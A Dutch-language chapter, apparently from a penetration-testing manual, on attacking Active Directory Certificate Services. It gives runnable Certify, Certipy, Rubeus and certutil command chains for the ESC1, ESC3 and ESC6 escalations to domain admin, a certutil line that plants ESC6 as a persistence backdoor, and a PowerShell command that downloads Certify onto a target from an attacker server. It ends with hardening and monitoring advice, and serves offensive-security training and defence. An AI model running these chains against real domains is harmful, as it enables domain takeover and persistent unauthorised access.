Active Directory Certificate Services (ADCS)

Waarin we ontdekken dat de paspoortautoriteit zelf de zwakste schakel is, dat niemand PKI begrijpt, en dat een verkeerd aangevinkt vakje in een template voldoende is om het hele koninkrijk te veroveren.


De paspoortautoriteit

Stel je voor: je staat op Schiphol met je paspoort. Het boekje zelf is niets bijzonders — een stukje karton met een foto en wat gegevens. Wat het waardevol maakt, is de autoriteit die erachter staat. De Rijksoverheid zegt: “Deze persoon is wie hij zegt dat hij is.” Elke douanier ter wereld vertrouwt dat oordeel. Niet omdat ze jou kennen, maar omdat ze de uitgever vertrouwen.

Active Directory Certificate Services werkt precies zo. De Certificate Authority (CA) is de digitale Rijksoverheid van je netwerk. Zij geeft certificaten uit die zeggen: “Deze computer is echt dc01,” of “Deze gebruiker is echt Jan van Finance.” Elke service, elke server, elke authenticatiepoging vertrouwt die certificaten blind. En net als bij echte paspoorten geldt: als iemand de drukpers in handen krijgt, is het spel voorbij.

Maar hier wordt het interessant. Bij echte paspoorten zijn er fysieke beveiligingen — watermerken, hologrammen, biometrische chips. Bij ADCS? Daar zijn het templates. Configuratieformulieren. Dropdown-menu’s en checkboxen. En als een systeembeheerder die templates verkeerd configureert — wat verbazingwekkend vaak gebeurt — dan kan iedereen met een netwerkaccount zichzelf een paspoort drukken op naam van de koning.

Will Schroeder en Lee Christensen publiceerden in 2021 hun onderzoek “Certified Pre-Owned” en legden daarmee een aanvalsvector bloot die al die jaren onder ieders neus had bestaan. Acht escalatiepaden, genummerd ESC1 tot ESC8, elk een variatie op hetzelfde thema: de Certificate Authority vertrouwt, maar verifieert onvoldoende. Het was alsof iemand ontdekte dat je bij het gemeentehuis een nieuw paspoort kon aanvragen door gewoon vriendelijk te vragen en de juiste naam op het formulier te schrijven.

In dit hoofdstuk lopen we door de belangrijkste ADCS-aanvallen: enumeratie, ESC1, ESC3 en ESC6. Elk is een les in hoe vertrouwen misplaatst kan zijn wanneer configuratie het enige is dat tussen een aanvaller en domeinadmin-rechten staat.


Wat is ADCS?

PKI in een notendop

Public Key Infrastructure klinkt als iets wat alleen cryptografen begrijpen, en eerlijk gezegd gedragen de meeste systeembeheerders zich alsof dat ook zo is. Het concept is echter verrassend eenvoudig.

PKI draait om twee sleutels: een publieke en een private. De publieke sleutel is als je huisadres — iedereen mag het weten. De private sleutel is als de sleutel van je voordeur — alleen jij hebt die. Wanneer iemand een bericht versleutelt met je publieke sleutel, kan alleen jij het ontcijferen met je private sleutel. En wanneer jij iets ondertekent met je private sleutel, kan iedereen met je publieke sleutel verifiëren dat het echt van jou komt.

Een certificaat is niets meer dan een publieke sleutel met een handtekening van iemand die we vertrouwen — de Certificate Authority. Het is een digitaal identiteitsbewijs: “Ik, de CA, bevestig dat deze publieke sleutel hoort bij Administrator@domain.local.”

Active Directory Certificate Services

ADCS is Microsoft’s implementatie van PKI, diep geïntegreerd in Active Directory. De componenten:

┌──────────────────────────────────────────────────────────────┐
│                    Active Directory Forest                    │
│                                                              │
│  ┌─────────────┐    ┌──────────────┐    ┌────────────────┐  │
│  │   Client     │───>│  Enrollment  │───>│  Certificate   │  │
│  │  (certreq)   │    │   Service    │    │   Authority    │  │
│  └─────────────┘    └──────────────┘    └───────┬────────┘  │
│                                                  │           │
│                           ┌──────────────────────┘           │
│                           │                                  │
│                    ┌──────┴──────┐                           │
│                    │  Templates   │                           │
│                    │  (AD LDAP)   │                           │
│                    └─────────────┘                           │
└──────────────────────────────────────────────────────────────┘

Waarom ADCS zo gevaarlijk is

Certificaten in AD zijn niet zomaar encryptiesnuisterijen. Ze worden gebruikt voor:

  1. Authenticatie: Via PKINIT kan een certificaat een Kerberos TGT opleveren. Een certificaat is een wachtwoord — maar eentje dat niet verloopt door een password policy en niet reset wordt bij “Alle wachtwoorden wijzigen!”
  2. Smart Card Logon: Certificaten vervangen wachtwoorden volledig.
  3. Code Signing: Vertrouwde software ondertekenen.
  4. Encryptie: EFS, S/MIME, TLS.

Het fundamentele probleem: als je een certificaat kunt krijgen op naam van een domain admin, krijg je een TGT als die domain admin. Geen wachtwoord nodig. Geen hash nodig. Alleen een .pfx-bestand en Rubeus.

En hier is het cynische deel: de meeste organisaties hebben hun CA jaren geleden opgezet, waarschijnlijk door iemand die een Microsoft-tutorial volgde, op “Next, Next, Finish” klikte, en er daarna nooit meer naar omkeek. Die templates? Standaardconfiguratie. Die permissions? “Authenticated Users” mag enrollen. Die audit logs? Uitgeschakeld, want “te veel ruis.” Het is alsof je een paspoortbureau opent, de deur op een kier zet, en dan gaat lunchen. Permanent.


De anatomie van een certificaat

Voordat we gaan aanvallen, is het nuttig om te begrijpen wat er eigenlijk in een certificaat zit. Een X.509-certificaat — de standaard die ADCS gebruikt — bevat een aantal velden:

┌─────────────────────────────────────────────────────────┐
│                    X.509 Certificate                     │
├─────────────────────────────────────────────────────────┤
│  Version:              3 (v3)                            │
│  Serial Number:        01:23:45:67:89:AB:CD:EF          │
│  Signature Algorithm:  sha256WithRSAEncryption           │
│  Issuer:               CN=domain-CA, DC=domain, DC=local │
│  Validity:                                               │
│    Not Before:         Jan 1 00:00:00 2025 UTC           │
│    Not After:          Jan 1 00:00:00 2026 UTC           │
│  Subject:              CN=Administrator                   │
│  Subject Alt Name:     UPN=Administrator@domain.local    │
│  Public Key:           RSA 2048 bit                      │
│  Extended Key Usage:                                     │
│    - Client Authentication (1.3.6.1.5.5.7.3.2)          │
│    - Smart Card Logon (1.3.6.1.4.1.311.20.2.2)          │
│  Signature:            [CA's digitale handtekening]      │
└─────────────────────────────────────────────────────────┘

De cruciale velden voor aanvallers:

Het onderscheid tussen Subject en Subject Alternative Name is belangrijk. Historisch stond de identiteit in het Subject-veld (CN=Administrator). Moderne implementaties gebruiken de SAN, specifiek de User Principal Name (UPN: Administrator@domain.local). Bij PKINIT-authenticatie is het de SAN die bepaalt welk account het TGT krijgt — niet het Subject. Dit verklaart waarom de /altname parameter in Certify zo dodelijk is: het vult de SAN in, en de SAN is wat telt.

Template permissies in detail

Een certificate template heeft twee soorten permissies die relevant zijn:

  1. Enrollment-rechten: Wie mag een certificaat aanvragen via deze template? Dit staat in de DACL van het template-object in AD.
  2. Autoenrollment: Mag het certificaat automatisch uitgedeeld worden via Group Policy? Dit is een aparte permission.

In LDAP zien de relevante attributen er zo uit:

dn: CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,
    CN=Services,CN=Configuration,DC=domain,DC=local
msPKI-Certificate-Name-Flag: 1          # ENROLLEE_SUPPLIES_SUBJECT
msPKI-Enrollment-Flag: 0                # Geen restricties
pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2 # Client Authentication
msPKI-RA-Signature: 0                   # Geen co-signing vereist

De msPKI-RA-Signature waarde is bijzonder relevant: als deze 0 is, is er geen co-signature nodig. Als deze 1 of hoger is, moet een Enrollment Agent mee-ondertekenen — wat ESC3 als tussenstap vereist.


ADCS Enumeratie

Voordat je certificaten kunt misbruiken, moet je weten wat er is. Enumeratie van ADCS is de eerste stap, en het goede nieuws is dat de meeste tools dit triviaal maken. Het slechte nieuws — voor de verdedigers — is dat elke geauthenticeerde gebruiker deze informatie kan opvragen.

Certify.exe

Certify is het standaardwapen voor ADCS-enumeratie, geschreven door Will Schroeder als onderdeel van de GhostPack-toolkit. Het is snel, betrouwbaar, en levensgevaarlijk in de juiste handen.

CA’s in het domein vinden:

.\Certify.exe cas

Dit toont alle Certificate Authorities, hun configuratie, en cruciale details zoals welke templates beschikbaar zijn en welke flags actief zijn op de CA zelf.

Alle templates enumereren:

.\Certify.exe find

De output is uitgebreid: template naam, OID, permissions, key usage, en de vlaggen die bepalen of de template kwetsbaar is.

Alleen kwetsbare templates vinden:

.\Certify.exe find /vulnerable

Dit is de gouden optie. Certify controleert automatisch op bekende misconfiguraties (ESC1 t/m ESC8) en filtert de output. Als hier iets uitkomt, heb je werk te doen — of als aanvaller, een cadeautje.

Templates met Enrollee Supplies Subject:

.\Certify.exe find /enrolleeSuppliesSubject

Dit zoekt specifiek naar ESC1-kwetsbare templates: templates waar de aanvrager zelf mag bepalen voor wie het certificaat is.

Client Authentication certificaten:

.\Certify.exe find /clientauth

Toont welke certificaten bruikbaar zijn voor authenticatie — het type dat we nodig hebben om TGT’s aan te vragen.

IB — In Incompetent Bastard staat adcs_enum klaar met alle Certify-commando’s. Gebruik de Commands-pagina om ze naar je doelmachine te sturen. Om Certify zelf op het doelsysteem te krijgen, gebruik je het get_certify command, dat Certify downloadt van je IB-server:

powershell -c (new-object System.Net.WebClient).DownloadFile(
  'http://10.0.0.1/tools/Certify.exe',
  'c:\windows\tasks\Certify.exe'
)

Zorg dat Certify.exe in je IB http/payloads/ of tools/ directory staat voordat je dit uitvoert.

Certipy (vanuit Linux)

Niet iedereen zit op een Windows-machine, en niet iedereen wil dat. Certipy is de Python-variant, geschreven door Oliver Lyak, en draait prima vanuit je Kali-box.

Volledige enumeratie:

certipy find -u user@domain.local -p 'Password123!' -dc-ip 10.0.0.1

Alleen kwetsbare templates:

certipy find -u user@domain.local -p 'Password123!' -dc-ip 10.0.0.1 -vulnerable

Certipy genereert bovendien BloodHound-compatible output, zodat je de relaties visueel kunt analyseren. Kwetsbare templates, wie er mag enrollen, welke CA ze uitgeeft — alles mooi in een grafiek.

Handmatig via certutil

Soms heb je geen tooling en moet je het doen met wat Windows je geeft. Certutil is altijd aanwezig:

# Alle templates dumpen
certutil -v -template > templates.txt

# CA's enumereren
certutil -config - -ping

De output van certutil -v -template is overweldigend — duizenden regels per template. Maar zoek naar deze sleutelwoorden:

Waar je naar zoekt

Na enumeratie is de cruciale vraag: welke templates zijn kwetsbaar? De checklist:

Eigenschap Risico ESC
ENROLLEE_SUPPLIES_SUBJECT Aanvrager bepaalt de SAN ESC1
Certificate Request Agent EKU Certificaten namens anderen aanvragen ESC3
EDITF_ATTRIBUTESUBJECTALTNAME2 op CA Alle templates worden ESC1-kwetsbaar ESC6
Manager Approval uitgeschakeld Geen menselijke goedkeuring nodig ESC1/ESC2
Authenticated Users kan enrollen Iedereen kan aanvragen ESC1-ESC4
Any Purpose EKU of geen EKU Certificaat is overal voor bruikbaar ESC2

Een kwetsbare template heeft typisch drie eigenschappen tegelijk: (1) de aanvrager bepaalt de subject, (2) client authentication is mogelijk, en (3) een brede groep kan enrollen. Eén van de drie is vervelend. Alle drie samen is catastrofaal.


ESC1 — Misconfigured Certificate Templates

Het probleem

ESC1 is de meest voorkomende en meest vernietigende ADCS-kwetsbaarheid. Het concept is beschamend eenvoudig.

Een certificate template kan twee manieren gebruiken om te bepalen wie het certificaat beschrijft:

  1. Subject uit Active Directory halen: De CA vult automatisch de naam en e-mail in op basis van het AD-account van de aanvrager. Veilig — je krijgt een certificaat op je eigen naam.
  2. Enrollee Supplies Subject: De aanvrager vult zelf in voor wie het certificaat is. Handig? Zeker. Levensgevaarlijk? Absoluut.

Als een template ENROLLEE_SUPPLIES_SUBJECT heeft ingeschakeld, gecombineerd met een Extended Key Usage die Client Authentication toestaat, en de aanvrager enrollment-rechten heeft, dan kan die aanvrager een certificaat aanvragen op naam van wie dan ook. De domain admin. De CEO. Het krbtgt-account. Maakt niet uit.

Het is alsof het paspoortbureau een formulier heeft waar je zelf je naam, geboortedatum en BSN mag invullen, en de ambtenaar het vervolgens zonder controle ondertekent en afstempelt. “U zegt dat u de minister-president bent? Prima, hier is uw paspoort. Fijne dag nog.”

De aanval stap voor stap

Stap 1: Vind kwetsbare templates

.\Certify.exe find /vulnerable

In de output zoek je naar templates met:

msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
pkiextendedkeyusage: Client Authentication
Enrollment Rights: domain\Domain Users  (of Authenticated Users)

Stel dat je een template vindt genaamd VulnerableTemplate. Dan gaat het feest beginnen.

Stap 2: Certificaat aanvragen als Administrator

.\Certify.exe request /ca:dc01.domain.local\domain-CA /template:"VulnerableTemplate" /altname:Administrator

Certify dient een certificate request in bij de CA, met als Subject Alternative Name (SAN) “Administrator”. De CA controleert of je enrollment-rechten hebt op de template — ja, want Domain Users mag enrollen — en of de template deze aanvraag toestaat — ja, want ENROLLEE_SUPPLIES_SUBJECT staat aan. Certificaat uitgegeven.

De output is een PEM-bestand met het certificaat en de private sleutel.

Stap 3: Converteer naar PFX

Het PEM-bestand moet worden omgezet naar een PFX (PKCS#12) bestand dat Windows begrijpt:

openssl pkcs12 -in cert.pem -keyex \
  -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
  -export -out esc1.pfx

Je wordt gevraagd om een export-wachtwoord. Kies iets dat je onthoudt.

Stap 4: TGT aanvragen met het certificaat

Nu het magische moment. We gebruiken Rubeus om met het certificaat een Kerberos TGT aan te vragen:

.\Rubeus.exe asktgt /user:Administrator /certificate:esc1.pfx /password:CertPassword /ptt

De /ptt flag injecteert het ticket direct in je huidige sessie. Je bent nu Administrator.

Stap 5: Verifieer

ls \\dc01.domain.local\c$

Als je de inhoud van de C$-share op de domain controller ziet, ben je domain admin. Van “ik heb een gewoon gebruikersaccount” naar “ik bezit het hele domein” in vijf commando’s. Geen exploits. Geen zero-days. Alleen een verkeerd geconfigureerde template.

ESC1 vanuit Linux met Certipy

Dezelfde aanval, maar dan vanuit je Kali-machine:

# Certificaat aanvragen met Administrator UPN
certipy req -u user@domain.local -p 'Password123!' \
  -ca domain-CA -target dc01.domain.local \
  -template VulnerableTemplate \
  -upn Administrator@domain.local

# Authenticeren met het certificaat
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

Certipy handelt de conversie en TGT-aanvraag automatisch af. Het resultaat: een NTLM-hash of Kerberos TGT voor Administrator.

IB — Het adcs_esc1 command in IB bevat de volledige aanvalsketen. Pas de volgende waarden aan voordat je het uitvoert:

  • dc01.domain.local\domain-CA — vervang door de daadwerkelijke CA-naam (uit adcs_enum output)
  • TemplateName — vervang door de naam van de kwetsbare template
  • Administrator — vervang door de gewenste doelgebruiker

Tip: Controleer altijd de enrollment-rechten. De template moet enrollable zijn voor jouw user of groep. Certify’s /vulnerable flag controleert dit automatisch.

De tijdlijn van een ESC1-aanval

Om het hele plaatje te schetsen, hier de chronologische volgorde met geschatte tijden:

T+0:00  .\Certify.exe find /vulnerable
        → Output toont "VulnerableTemplate" met ENROLLEE_SUPPLIES_SUBJECT
        → Enrollment Rights: Domain Users
        → EKU: Client Authentication
        (Tijd: ~5 seconden)

T+0:10  .\Certify.exe request /ca:dc01.domain.local\domain-CA
          /template:"VulnerableTemplate" /altname:Administrator
        → CA geeft certificaat uit
        → Output: PEM-encoded cert + private key
        (Tijd: ~3 seconden)

T+0:20  openssl pkcs12 -in cert.pem -keyex [...] -export -out esc1.pfx
        → PFX bestand aangemaakt
        (Tijd: ~2 seconden)

T+0:30  .\Rubeus.exe asktgt /user:Administrator /certificate:esc1.pfx
          /password:CertPassword /ptt
        → TGT voor Administrator in huidige sessie
        (Tijd: ~2 seconden)

T+0:35  ls \\dc01.domain.local\c$
        → Directory listing van DC C$-share
        → DOMAIN ADMIN BEREIKT
        (Tijd: ~1 seconde)

TOTAAL: ~35 seconden van normale gebruiker naar domain admin

Vijfendertig seconden. Minder tijd dan het kost om een kop koffie te zetten. En alles is legitiem verkeer — certificate requests, Kerberos TGT-aanvragen, SMB-connecties. Geen exploit. Geen vulnerability in de traditionele zin. Alleen configuratie die doet wat het is geconfigureerd om te doen.

Waarom is dit zo wijdverspreid?

Je zou denken dat een dergelijke flagrante misconfiguratie zeldzaam is. Helaas niet. Er zijn meerdere redenen:

  1. Legacy templates: Veel organisaties hebben templates die stammen uit de Windows Server 2003-era, toen “ENROLLEE_SUPPLIES_SUBJECT” de standaard was voor bepaalde template types.
  2. Kopiëren zonder begrijpen: Beheerders kopiëren bestaande templates en passen ze aan zonder de implicaties van elke vlag te begrijpen.
  3. Documentatie: Microsoft’s eigen documentatie waarschuwde jarenlang niet prominent voor het risico van deze vlag.
  4. Geen monitoring: Vrijwel niemand monitort certificate enrollment events. De aanval genereert Event ID 4887 (Certificate Services approved a certificate request), maar wie kijkt daar naar?

Het is het digitale equivalent van een bank die de kluisdeur openlaat omdat “de medewerkers moeten er toch bij kunnen.” Technisch correct. Praktisch desastreus.


ESC3 — Enrollment Agent Templates

Het concept

ESC3 is subtieler dan ESC1, maar niet minder dodelijk. Waar ESC1 draait om een template die je rechtstreeks laat bepalen voor wie het certificaat is, draait ESC3 om een tussenstap: het Enrollment Agent-certificaat.

Denk aan het verschil tussen zelf een paspoort vervalsen (ESC1) en eerst een functie krijgen bij het paspoortbureau (ESC3). Met een Enrollment Agent-certificaat word je een vertrouwde uitgever van certificaten namens anderen. Het is een meta-aanval: je vraagt niet zomaar een certificaat aan, je vraagt het recht aan om certificaten voor anderen aan te vragen.

Dit vereist twee templates:

  1. Een Enrollment Agent template — een template met de Extended Key Usage Certificate Request Agent. Dit certificaat geeft je het recht om namens anderen aan te vragen.
  2. Een target template — een template die certificaten uitgeeft die je wilt (bijv. Smart Card Logon of Client Authentication).

De aanval

Stap 1: Vind een Enrollment Agent template

.\Certify.exe find /vulnerable

Zoek in de output naar:

pkiextendedkeyusage: Certificate Request Agent

Veel organisaties hebben templates als SmartCardEnrollment-Agent die precies dit doen.

Stap 2: Enrollment Agent certificaat aanvragen

.\Certify.exe request /ca:dc01.domain.local\domain-CA /template:SmartCardEnrollment-Agent

Dit geeft je een certificaat dat zegt: “Deze persoon mag certificaten aanvragen namens anderen.” Converteer het resultaat naar een PFX:

openssl pkcs12 -in cert.pem -keyex \
  -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
  -export -out esc3agent.pfx

Stap 3: Certificaat aanvragen namens Administrator

Nu gebruik je je Enrollment Agent-certificaat om een certificaat aan te vragen namens de Administrator:

.\Certify.exe request /ca:dc01.domain.local\domain-CA \
  /template:SmartCardEnrollment-Users \
  /onbehalfof:domain\Administrator \
  /enrollcert:esc3agent.pfx \
  /enrollcertpw:Password123!

De CA ziet een geldige Enrollment Agent die een certificaat aanvraagt namens een gebruiker. Dit is precies waarvoor het systeem ontworpen is — de CA gaat ervan uit dat de Enrollment Agent geautoriseerd is om dit te doen. Certificaat uitgegeven.

Stap 4: TGT aanvragen

.\Rubeus.exe asktgt /user:Administrator /certificate:esc3user.pfx /password:Password123! /ptt

Stap 5: Verifieer

ls \\dc01.domain.local\c$

IB — Het adcs_esc3 command bevat de volledige twee-staps aanvalsketen. ESC3 is minder voorkomend dan ESC1, maar wanneer het aanwezig is, is het zeer krachtig. Controleer of Enrollment Agent Restrictions geconfigureerd zijn op de CA — deze beperken welke doelaccounts een Enrollment Agent mag targeten.

Waarom ESC3 vaak over het hoofd gezien wordt

ESC3 is complexer dan ESC1 — twee stappen in plaats van een. Daardoor wordt het regelmatig overgeslagen bij security assessments. “We hebben geen ESC1, dus we zijn veilig” is een uitspraak die ik te vaak hoor. Maar ESC3 is juist gevaarlijk omdat het gebruikt wordt door organisaties die bewust ENROLLEE_SUPPLIES_SUBJECT hebben uitgeschakeld maar vergeten zijn dat Enrollment Agent-templates hetzelfde resultaat bereiken via een omweg.

Het is als een bank die de voordeur beveiligt met een vijfpunts slot, terwijl de zijdeur openstaat omdat “die is alleen voor het personeel.” De inbreker trekt gewoon een schort aan.


ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

De nucleaire optie

Als ESC1 een kwetsbare template is en ESC3 een kwetsbare workflow, dan is ESC6 een kwetsbare Certificate Authority. Dit is geen template-level probleem — dit is een CA-level configuratiefout die elke template in het domein kwetsbaar maakt.

De flag heet EDITF_ATTRIBUTESUBJECTALTNAME2. Wanneer deze actief is op de CA, kan elke aanvrager bij elke certificaataanvraag een Subject Alternative Name (SAN) meegeven. Het maakt niet uit wat de template zegt. Het maakt niet uit of ENROLLEE_SUPPLIES_SUBJECT uitgeschakeld is. De CA overruled de template en staat de SAN toe.

Stel je voor dat de paspoortautoriteit een intern beleid heeft dat zegt: “Wie een paspoort aanvraagt, mag ook een tweede naam opgeven die we er gewoon bijzetten.” Niet per formulier, maar als organisatiebreed beleid. Elke aanvraag, elke template, altijd. Dat is ESC6.

Detectie

Controleer of de flag actief is:

certutil -config "dc01.domain.local\domain-CA" -getreg "policy\EditFlags"

In de output zoek je naar:

EDITF_ATTRIBUTESUBJECTALTNAME2 -- 40000 (262144)

Als deze flag aanwezig is, is elke template in het domein effectief ESC1-kwetsbaar. Elke template. Zelfs de standaard User-template die Microsoft meegeeft.

De aanval

Stap 1: Certificaat aanvragen met SAN

Omdat ESC6 elke template kwetsbaar maakt, kun je zelfs de meest basale template gebruiken:

.\Certify.exe request /ca:dc01.domain.local\domain-CA /template:"User" /altname:Administrator

De standaard User-template. Die template die in elke AD-omgeving bestaat. Die template waarvan iedereen denkt dat hij veilig is.

Met Certipy vanuit Linux:

certipy req -u user@domain.local -p 'Password123!' \
  -ca domain-CA -target dc01.domain.local \
  -template User \
  -upn Administrator@domain.local

Stap 2: TGT aanvragen

.\Rubeus.exe asktgt /user:Administrator /certificate:esc6.pfx /password:Password123! /ptt

Klaar. Domain admin. Via de standaard User-template.

ESC6 als persistentiemechanisme

Hier wordt het echt duivels. Als je al domain admin bent, kun je de flag zelf activeren:

certutil -config "dc01.domain.local\domain-CA" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

Dit creëert een backdoor die overleeft na password resets, zelfs na het verwijderen van kwetsbare templates. De CA zelf is nu je persistentiemechanisme. Zolang de flag actief is, kun je op elk moment een nieuw certificaat aanvragen op elke naam.

IB — Het adcs_esc6 command bevat zowel de detectie als de exploitatie. Merk op dat ESC6 een CA-level misconfiguratie is, niet een template-level probleem. Alle templates worden kwetsbaar wanneer deze flag actief is. Het command bevat ook de certutil-regel om de flag zelf te activeren — gebruik dit uitsluitend om persistentie te demonstreren in geautoriseerde tests.

Hoe ontstaat ESC6?

De flag EDITF_ATTRIBUTESUBJECTALTNAME2 wordt soms bewust geactiveerd door beheerders die “flexibele” certificaatuitgifte willen. Webservers die certificaten met meerdere SAN’s nodig hebben, interne applicaties die certificaten aanvragen voor service accounts — er zijn legitieme redenen om SANs te willen specificeren.

Het probleem is dat de flag alles-of-niets is. Er is geen “sta SANs toe, maar alleen voor webserver-templates” optie. Het is aan of uit, voor de hele CA. En zodra het aan staat, is elke template een wapen.

Microsoft’s eigen documentatie over deze flag is opmerkelijk laconiek. Ergens in een KB-artikel staat een waarschuwing, begraven onder drie lagen hyperlinks. Geen rode banner. Geen popup. Gewoon een zinnetje dat zegt “pas op.” Het is alsof de fabrikant van een kernreactor in de kleine lettertjes schrijft: “Let op: knopje A kan een meltdown veroorzaken.”


Certificaat-gebaseerde authenticatie

PKINIT

PKINIT (Public Key Cryptography for Initial Authentication) is het protocol dat certificaten koppelt aan Kerberos. Wanneer je Rubeus.exe asktgt uitvoert met een certificaat, gebeurt het volgende:

  1. Rubeus stuurt een AS-REQ naar de KDC met het certificaat als pre-authenticatie.
  2. De KDC valideert het certificaat tegen de CA.
  3. De KDC extraheert de gebruikersnaam uit de SAN van het certificaat.
  4. De KDC geeft een TGT uit voor die gebruiker.

Stap 3 is waar het misgaat bij ESC1/ESC3/ESC6. De KDC vertrouwt de SAN in het certificaat. Als het certificaat zegt “ik ben Administrator”, dan geeft de KDC een TGT voor Administrator. De KDC controleert niet waarom het certificaat die SAN heeft — alleen dat de CA het certificaat heeft ondertekend.

┌──────────┐         AS-REQ + Cert         ┌──────────┐
│  Client   │─────────────────────────────>│   KDC    │
│ (Rubeus)  │                               │  (DC)    │
│           │<─────────────────────────────│          │
│           │         TGT (Admin)           │  Trust:  │
└──────────┘                               │  CA cert │
                                            └──────────┘

Schannel

Naast PKINIT kunnen certificaten ook via Schannel (TLS client authentication) gebruikt worden. Dit is minder gebruikelijk voor aanvallers, maar het principe is hetzelfde: de server vertrouwt het certificaat, extraheert de identiteit, en verleent toegang.

UnPAC-the-Hash

Een bijzonder handige techniek: wanneer je via PKINIT een TGT krijgt, bevat het antwoord een PAC (Privilege Attribute Certificate) met daarin de NTLM-hash van de gebruiker. Met Certipy kun je deze hash direct extraheren:

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

De output bevat zowel het TGT als de NTLM-hash. Die hash kun je vervolgens gebruiken voor pass-the-hash aanvallen, zelfs als de certificaat-authenticatie later wordt geblokkeerd.

PassTheCert

Wat als PKINIT niet beschikbaar is? PassTheCert is een techniek die certificaten gebruikt voor LDAP-authenticatie via Schannel, waarna je direct DCSync kunt uitvoeren of andere AD-wijzigingen kunt doorvoeren. Het is een alternatieve route wanneer Kerberos-gebaseerde certificaatauthenticatie geblokkeerd is.

# PassTheCert via Certipy (LDAP Schannel)
certipy auth -pfx admin.pfx -dc-ip 10.0.0.1 -ldap-shell

Andere ESC-varianten

ESC2 — Any Purpose certificaten

Templates met Any Purpose EKU of helemaal geen EKU zijn bruikbaar voor alles, inclusief client authentication. Gecombineerd met brede enrollment-rechten is dit een route naar domain admin.

ESC4 — Template ACL abuse

Als je schrijfrechten hebt op een certificate template object in AD, kun je de template wijzigen om ENROLLEE_SUPPLIES_SUBJECT in te schakelen — waarna het ESC1 wordt. BloodHound detecteert deze schrijfrechten.

ESC7 — CA Officer rechten

Als je ManageCA rechten hebt op de CA, kun je jezelf ManageCertificates rechten geven. Daarmee kun je falende certificaataanvragen alsnog goedkeuren — ook die met een SAN die normaal geweigerd zou worden.

ESC8 — NTLM Relay naar Web Enrollment

Als de CA een web enrollment endpoint heeft zonder HTTPS of EPA (Extended Protection for Authentication), kun je NTLM-authenticatie relay-en naar dat endpoint om certificaten aan te vragen namens het slachtoffer. PetitPotam + ESC8 = domain admin.

Elke ESC-variant is een variatie op hetzelfde thema: ergens in de keten van “aanvraag -> validatie -> uitgifte -> gebruik” zit een gat. De aanvaller hoeft er maar een te vinden.

ESC-vergelijkingstabel

ESC Niveau Vereiste Complexiteit Impact
ESC1 Template ENROLLEE_SUPPLIES_SUBJECT + Client Auth + brede enrollment Laag Domain Admin
ESC2 Template Any Purpose EKU of geen EKU + brede enrollment Laag Domain Admin
ESC3 Template Enrollment Agent template + target template Gemiddeld Domain Admin
ESC4 Template ACL Schrijfrechten op template-object Gemiddeld Maakt ESC1 mogelijk
ESC6 CA config EDITF_ATTRIBUTESUBJECTALTNAME2 flag Laag Alle templates kwetsbaar
ESC7 CA ACL ManageCA rechten Gemiddeld Certificaten goedkeuren
ESC8 Web Enrollment HTTP (geen HTTPS) + geen EPA Gemiddeld Domain Admin via relay

De trend is duidelijk: hoe hoger het nummer, hoe complexer de aanval — maar ze leiden allemaal naar hetzelfde eindpunt. Domain admin. Het verschil zit in hoeveel stappen je nodig hebt en welke voorwaarden aanwezig moeten zijn.


Verdediging

Template hardening

De belangrijkste maatregel is het controleren van elke certificate template:

# Audit alle templates op bekende kwetsbaarheden
.\Certify.exe find /vulnerable

# Of vanuit Linux
certipy find -u admin@domain.local -p 'Password!' -dc-ip 10.0.0.1 -vulnerable

Voor elke template, controleer:

  1. Is ENROLLEE_SUPPLIES_SUBJECT nodig? In 95% van de gevallen niet. Schakel het uit.
  2. Wie heeft enrollment-rechten? Beperk tot specifieke groepen, niet Authenticated Users of Domain Users.
  3. Is Manager Approval ingeschakeld? Voor gevoelige templates zou elke aanvraag handmatig goedgekeurd moeten worden.
  4. Is de EKU beperkt? Geen Any Purpose. Alleen de specifieke key usages die nodig zijn.

CA hardening

# Check of ESC6 flag actief is
certutil -config "dc01.domain.local\domain-CA" -getreg "policy\EditFlags"

# Verwijder de ESC6 flag als deze actief is
certutil -config "dc01.domain.local\domain-CA" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

# Herstart de CA service
net stop certsvc && net start certsvc

Configureer Enrollment Agent Restrictions om te beperken welke templates en doelaccounts Enrollment Agents mogen gebruiken.

Monitoring

Certificate enrollment events zijn een goudmijn voor detectie, als je ze inschakelt:

Event ID Beschrijving Belang
4886 Certificate request ontvangen Wie vraagt wat aan?
4887 Certificate request goedgekeurd en uitgegeven Welke SAN? Welke template?
4888 Certificate request geweigerd Iemand probeert iets ongewoons
4889 Certificate request pending Manager approval actief

Monitor specifiek op: - Certificaataanvragen met een SAN die afwijkt van de aanvrager - Gebruik van templates die normaal niet worden gebruikt - Enrollment Agent-certificaataanvragen - Wijzigingen aan template-configuratie

Remediation checklist

Een praktische checklist voor het beveiligen van je ADCS-omgeving:

[ ] Voer Certify.exe find /vulnerable of certipy find -vulnerable uit
[ ] Documenteer alle gevonden kwetsbare templates
[ ] Per template:
    [ ] Is ENROLLEE_SUPPLIES_SUBJECT nodig? Zo nee, uitschakelen
    [ ] Zijn de enrollment-rechten beperkt tot de juiste groepen?
    [ ] Is Manager Approval ingeschakeld voor gevoelige templates?
    [ ] Is de EKU beperkt tot wat nodig is?
    [ ] Is msPKI-RA-Signature > 0 waar nodig?
[ ] CA-level:
    [ ] Is EDITF_ATTRIBUTESUBJECTALTNAME2 uitgeschakeld?
    [ ] Zijn Enrollment Agent Restrictions geconfigureerd?
    [ ] Heeft de CA Web Enrollment HTTPS + EPA?
    [ ] Is de CA-key in een HSM opgeslagen?
[ ] Monitoring:
    [ ] Zijn Event IDs 4886-4889 ingeschakeld?
    [ ] Is er alerting op certificaten met afwijkende SAN?
    [ ] Is er alerting op ongebruikelijke template-aanvragen?
[ ] Organisatorisch:
    [ ] Is er een eigenaar aangewezen voor de PKI-infrastructuur?
    [ ] Worden templates periodiek gereviewed?
    [ ] Is er een procedure voor het intrekken van certificaten?

PKI best practices samengevat

  1. Audit je templates — regelmatig, niet eenmalig. Templates worden gekopieerd, aangepast, vergeten.
  2. Minimale rechten — enrollment alleen voor wie het nodig heeft.
  3. Manager Approval — voor templates die identiteiten uitgeven.
